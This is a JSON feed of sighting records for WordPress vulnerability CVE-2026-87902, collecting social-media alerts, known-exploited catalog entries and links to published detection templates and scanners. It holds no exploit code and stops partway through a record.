"sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwhvzfdjma2z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "882ecbde-0f40-4e2a-9918-cc1d55025fe5", "content": "BREAKING: WordPress CVE-2026-87902 (CVSS 9.2) actively exploited within hours of disclosure \u2014 unauthenticated RCE via get_page_template(). Source: The Hacker News. #CyberSecurity", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwhvzfdjma2z"}, {"timestamp": "2026-09-27T07:03:00.020Z", "date_only": false, "value": "2026-09-27T07:03:00.020579Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwia73wqiz24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ce0bde02-0e21-47f9-b95a-88e75f24b2ff", "content": "Top 3 CVE for last 7 days:\nCVE-2026-94127: 29 interactions\nCVE-2026-86296: 25 interactions\nCVE-2026-87902: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-35273: 8 interactions\nCVE-2026-81578: 7 interactions\nCVE-2026-82078: 6 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwia73wqiz24"}, {"timestamp": "2026-09-27T08:00:10.075Z", "date_only": false, "value": "2026-09-27T08:00:10.075313Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwidfdsl2h26", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9387ef21-921c-4e86-83f2-83ea9b1d7938", "content": "BREAKING: WordPress CVE-2026-87902 (CVSS 9.2) actively exploited within hours of disclosure \u2014 unauthenticated RCE via get_page_template(). Source: The Hacker News. #CyberSecurity", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwidfdsl2h26"}, {"timestamp": "2026-09-27T08:00:10.659Z", "date_only": false, "value": "2026-09-27T08:00:10.659963Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/potato.software/post/3mwidfeayzw2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e17dbb31-d23b-479d-9625-57190dad2fe1", "content": "BREAKING: WordPress CVE-2026-87902 (CVSS 9.2) actively exploited within hours of disclosure \u2014 unauthenticated RCE via get_page_template(). Source: The Masher News. #PotatoSecurity", "url": "https://bsky.app/profile/potato.software/post/3mwidfeayzw2l"}, {"timestamp": "2026-09-27T08:58:19.422Z", "date_only": false, "value": "2026-09-27T08:58:19.422584Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/watrix.bsky.social/post/3mwignd6a2g2t", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "55e4fa4e-33cc-4d5d-8d20-2c46598e6bda", "content": "WordPress\u30e6\u30fc\u30b6\u30fc\u306e\u7686\u69d8\u3078\u3002\u73fe\u5728\u3001WordPress\u306b\u91cd\u5927\u306a\u8106\u5f31\u6027(CVE-2026-87902)\u304c\u78ba\u8a8d\u3055\u308c\u3001\u7dca\u6025\u306e\u5bfe\u5fdc\u304c\u6c42\u3081\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u5358\u306a\u308b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u306a\u304f\u3001\u30b5\u30a4\u30c8\u306e\u5b89\u5168\u6027\u3092\u6839\u672c\u304b\u3089\u898b\u76f4\u3059\u6a5f\u4f1a\u3067\u3059\u3002\n\n\u79c1\u305f\u3061\u306f\u3001WP\u30ec\u30b9\u30ad\u30e5\u30fc\u3092\u901a\u3058\u3066WordPress\u30b5\u30a4\u30c8\u306e\u6280\u8853\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3068\u5bfe\u7b56\u652f\u63f4\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002\u60c5\u5831\u6f0f\u6d29\u3084\u30b5\u30a4\u30c8\u30c0\u30a6\u30f3\u306e\u30ea\u30b9\u30af\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u3001\u5b89\u5b9a\u3057\u305f\u30a6\u30a7\u30d6\u904b\u55b6\u3092\u4ed5\u7d44\u307f\u5316\u3059\u308b\u305f\u3081\u3001\u30d7\u30ed\u306e\u76ee\u7dda\u3067\u4f34\u8d70\u3044\u305f\u3057\u307e\u3059\u3002\n\n\u8a73\u7d30\u306f\u3053\u3061\u3089\u3067\u3054\u78ba\u8a8d\u3044\u305f\u3060\u3051\u307e\u3059\u3002\nhttps://wp-rescue.watrix.co.jp/", "url": "https://bsky.app/profile/watrix.bsky.social/post/3mwignd6a2g2t"}, {"timestamp": "2026-09-27T09:00:33Z", "date_only": false, "value": "2026-09-27T09:00:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingTeamGrupoOfficial/49461", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0d0907be-655d-4ca9-a508-bd208b96dd7c", "content": "\ud83d\udea8 CVE-2026-87902 - WordPress Core - PHP Template Path Traversal\n\nNuclei Template - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-87902.yaml\n\nReference: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp\n\n#hackwithautomation #bugbounty #wordpress", "url": "https://t.me/HackingTeamGrupoOfficial/49461"}, {"timestamp": "2026-09-27T10:50:42.641Z", "date_only": false, "value": "2026-09-27T10:50:42.641389Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aitechmatome-eng.bsky.social/post/3mwimwbpbc42c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "dc98dde8-3089-4ba6-9751-e77bc33b5306", "content": "Exploitation attacks targeting a critical WordPress vulnerability, CVE-2026-87902, were observed just hours after the patch release. This path traversal vulnerability allows unauthenticated local PHP file reading and can lead to remote code execution. Security firms confirmed reconnaiss...", "url": "https://bsky.app/profile/aitechmatome-eng.bsky.social/post/3mwimwbpbc42c"}, {"timestamp": "2026-09-27T12:03:44Z", "date_only": false, "value": "2026-09-27T12:03:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103529", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "995fb29e-c78a-4e07-855b-617d249c9566", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a langz337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-27 12:03:18\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated LFI and conditional RCE scanner for CVE-2026-87902 in WordPress Core (4.7.0 \u2013 7.1.1).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103529"}, {"timestamp": "2026-09-27T13:41:42.550Z", "date_only": false, "value": "2026-09-27T13:41:42.550870Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117343288610536013", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "42bc777b-d5b4-41a0-837f-3516ee53f35d", "content": "\ud83d\udcf0 Critical WordPress Path Traversal Flaw Actively Exploited (CVE-2026-87902)\n\ud83d\udea8 CRITICAL VULNERABILITY: WordPress Core is being actively exploited via CVE-2026-87902 (CVSS 9.2). The unauthenticated path traversal flaw can lead to RCE. Affects versions 4.7.0-7.1.1. Update to 7.1.2 immediately! #WordPress #CVE #CyberSecurity #P...\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-wordpress-path-traversal-vulnerability-cve-2026-87902-exploited/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/117343288610536013"}, {"timestamp": "2026-09-27T13:41:58.157Z", "date_only": false, "value": "2026-09-27T13:41:58.157878Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mwiwijmvka23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d4fb460b-1678-47fa-966a-335d233964b4", "content": "\ud83d\udea8 CRITICAL VULNERABILITY: WordPress Core is being actively exploited via CVE-2026-87902 (CVSS 9.2). The unauthenticated path traversal flaw can lead to RCE. Affects versions 4.7.0-7.1.1. Update to 7.1.2 immediately! #WordPress #CVE #CyberSecurity #P...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mwiwijmvka23"}, {"timestamp": "2026-09-27T14:00:05.291Z", "date_only": false, "value": "2026-09-27T14:00:05.291559Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/codewithromi.bsky.social/post/3mwixivr4ke2z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c108a61d-4e3c-4583-9ee5-c355bfe09940", "content": "unauthenticated path traversal to RCE is about as bad as it gets. CVE-2026-87902 is already being exploited in the wild, so if you're running WordPress, get to 7.1.2 now. wrote the whole thing up on the blog\n\n#selfhosted #cybersecurity #wordpress", "url": "https://bsky.app/profile/codewithromi.bsky.social/post/3mwixivr4ke2z"}, {"timestamp": "2026-09-27T14:00:18.185Z", "date_only": false, "value": "2026-09-27T14:00:18.185073Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwixjcxkhq2h", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "acd6615f-7a51-48be-b8b9-8124a784cb1c", "content": "BREAKING: WordPress CVE-2026-87902 (CVSS 9.2) actively exploited within hours of disclosure \u2014 unauthenticated RCE via get_page_template(). Source: The Hacker News. #CyberSecurity", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwixjcxkhq2h"}, {"timestamp": "2026-09-27T14:04:23.066Z", "date_only": false, "value": "2026-09-27T14:04:23.066257Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mwixqmf4bc23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "522da135-ace6-4c98-9943-5c52e4b88782", "content": "CVE-2026-87902 is trending. Hype score 5, currently #8 on cvemon.\n\nAn unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-87902", "url": "https://bsky.app/profile/cvemon.bsky.social/post/3mwixqmf4bc23"}, {"timestamp": "2026-09-27T15:00:39Z", "date_only": false, "value": "2026-09-27T15:00:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WkCWq67CgLBcm_hEcvrpJWcHwwDb7nvZdSlCBdaLX915QMo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "52a1843e-5a92-4265-8818-23a2be56bff7"}, {"timestamp": "2026-09-27T15:00:39Z", "date_only": false, "value": "2026-09-27T15:00:39.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/WkCWq67CgLBcm_hEcvrpJWcHwwDb7nvZdSlCBdaLX915QMo", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "cc1d7ded-66f0-4e4c-9f71-c9b5e5d6b190"}, {"timestamp": "2026-09-27T15:18:10.729Z", "date_only": false, "value": "2026-09-27T15:18:10.729640Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/suriq.io/post/3mwj3uka6pw2k", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "927b51df-7b64-4766-aaed-8081ed076d24", "content": "\ud83d\udd34 EXPLOITED\n\nWordPress core CVE-2026-87902 is being exploited to run code on sites, and it affects every release back to 4.7.0.\n\nNo login needed. CISA wants it patched by Sept 28.\n\nFix: update to WordPress 7.1.2.", "url": "https://bsky.app/profile/suriq.io/post/3mwj3uka6pw2k"}, {"timestamp": "2026-09-27T16:54:20Z", "date_only": false, "value": "2026-09-27T16:54:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/E5-O8JRW5_1IqdltPr_u9VUOe5vxAD3zg_eY_mYsg_jObLI", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "38db4016-2bb3-4855-a5c3-0ffa770ad26e"}, {"timestamp": "2026-09-27T16:54:20Z", "date_only": false, "value": "2026-09-27T16:54:20.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/E5-O8JRW5_1IqdltPr_u9VUOe5vxAD3zg_eY_mYsg_jObLI", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6574d701-754e-4553-bf85-126384e886c8"}, {"timestamp": "2026-09-27T17:00:01Z", "date_only": false, "value": "2026-09-27T17:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "enisa-cnw-kev", "record": "CVE-2026-87902", "field": "timestamps.recorded_at", "uuid": "a2b6816f-e2bd-4192-a21d-57b2c2aec949", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-27T17:00:03.420Z", "date_only": false, "value": "2026-09-27T17:00:03.420805Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a2b6816f-e2bd-4192-a21d-57b2c2aec949", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a6d46065-cc2f-4b01-b1ae-058da5694da4", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a2b6816f-e2bd-4192-a21d-57b2c2aec949"}, {"timestamp": "2026-09-27T17:35:23Z", "date_only": false, "value": "2026-09-27T17:35:23.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/kasperskylab_ru/7757", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6107abe6-f2c1-4139-8027-fb462d802fe3", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe3\u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 WordPress (CVE-2026-87902) \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0441\u043e\u0432\u0435\u0442\u044b \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 Kaspersky Daily.\n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Toy Ghouls \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043e\u043c \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe3\u041a\u0442\u043e \u0438 \u0437\u0430\u0447\u0435\u043c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u0430, \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u043e\u043c\u0435\u0440\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u0438 \u043d\u0443\u0436\u043d\u043e \u043b\u0438 \u0435\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u2014 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435.  \n\n\ud83d\udfe3\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 NightEagle (APT-Q-95), \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f. \u0414\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435.\n\n\ud83d\udfe3\u041a\u0430\u043d\u0430\u0434\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 GPUThor, \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u0435\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0432 \u0442\u044b\u0441\u044f\u0447\u0438 \u0440\u0430\u0437. \u0414\u0435\u0442\u0430\u043b\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435. \n\n\ud83d\udfe3\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0438\u043b\u0438\u00bb \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Hacking Cat (\u0438\u043b\u0438 \u00ab\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0439 \u043ai\u0442\u00bb): \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a-\u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442. \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 B2B:\n\ud83d\udfe3\u0414\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c \u0430\u0442\u0430\u043a\u0438 ClickFix.\n\ud83d\udfe3\u041e\u0442 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043a \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438: \u0430\u0437\u0431\u0443\u043a\u0430 IoC pivoting.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e:\n\ud83d\udfe3\u0414\u0435\u043b\u0438\u043c\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u044b\u043c\u0438 \u0446\u0438\u0444\u0440\u0430\u043c\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043d\u0430 \u041c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0444\u0435\u0441\u0442\u0438\u0432\u0430\u043b\u0435 \u043c\u043e\u043b\u043e\u0434\u0451\u0436\u0438 \u2014 2026. \n\ud83d\udfe3\u0412\u044b\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u043c \u043a\u043e\u043c\u043f\u0435\u0442\u0435\u043d\u0446\u0438\u0438 \u00ab\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0445 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u00bb \u043d\u0430 \u0427\u0435\u043c\u043f\u0438\u043e\u043d\u0430\u0442\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439.\n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "url": "https://t.me/kasperskylab_ru/7757"}, {"timestamp": "2026-09-27T17:35:23Z", "date_only": false, "value": "2026-09-27T17:35:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/kasperskylab_ru/7757", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "3d5b870f-4003-4c5f-b3de-0a61ec89e393", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe3\u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 WordPress (CVE-2026-87902) \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0441\u043e\u0432\u0435\u0442\u044b \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 Kaspersky Daily.\n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Toy Ghouls \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043e\u043c \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe3\u041a\u0442\u043e \u0438 \u0437\u0430\u0447\u0435\u043c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u0430, \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u043e\u043c\u0435\u0440\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u0438 \u043d\u0443\u0436\u043d\u043e \u043b\u0438 \u0435\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u2014 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435.  \n\n\ud83d\udfe3\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 NightEagle (APT-Q-95), \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f. \u0414\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c 